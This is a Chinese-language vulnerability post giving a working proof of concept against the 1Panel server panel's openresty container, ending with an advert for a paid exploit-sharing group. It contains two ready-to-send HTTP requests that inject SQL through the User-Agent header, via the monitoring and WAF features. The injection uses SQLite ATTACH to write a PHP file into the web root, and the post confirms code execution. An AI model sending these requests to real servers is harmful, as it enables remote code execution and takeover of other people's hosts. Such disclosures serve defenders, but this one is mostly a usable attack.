影响范围
网站监控功能影响 == 1panel/openresty:1.21.4.3-3-1-focal WAF功能影响 <= 1panel/openresty:1.21.4.3-3-1-focal
1Panel 是新一代的 Linux 服务器运维管理面板,用户可以通过 Web 图形界面轻松管理 Linux 服务器,实现主机监控、文件管理、数据库管理、容器管理等功能。且深度集成开源建站软件 WordPress 和 Halo.
漏洞POC
利用条件:
专业版,并开启网站监控功能
关闭waf功能
安装有1P-openresty容器且搭建有php环境网站
默认网站路径格式如下,这个路径是在op容器里面的路径
/www/sites/网站代号(默认为域名)/index/
通过sql注入导出文件到网站路径下
GET / HTTP/1.1
Host: 192.168.99.6
User-Agent: ua', 'blog.mo60.cn', 5201314, '', '', 1, '2024-06-09 08:16:52', 1817921010.847, '/AAAAAAA', 52014, '2025-06-09', '16', '', '', 'Linux', 'edge', 'pc', '', '');ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?= md5("blog.mo60.cn"); ?>');#
然后来到网站路径下可以看到我们写入的文件
访问发现成功输出blog.mo60.cn 的md5值,成功执行代码
Waf功能
利用条件:
开启waf功能
安装有1P-openresty容器且搭建有php环境网站
发送后即可成功写入文件
GET /.git/config HTTP/1.1
Host: 192.168.99.6
User-Agent: blog.mo60.cn',"args", "sqlInjectA", "", "YmxvZy5tbzYwLmNu", "blog.mo60.cn", 0, "deny", 0, 1);ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?= md5("blog.mo60.cn"); ?>');#
Connection: close
内部福利介绍-更新啦,网络安全百分之八十的资源都可以在这找到!涵盖了POC库、账号共享、文档库、资源网获取、会员专属群,做你的网络安全资源大全!
近期更新的0day/1day(包含公开和未公开漏洞-仅列举部分)漏洞整理更新至9000+
👇内容太多扫描二维码查看详细介绍👇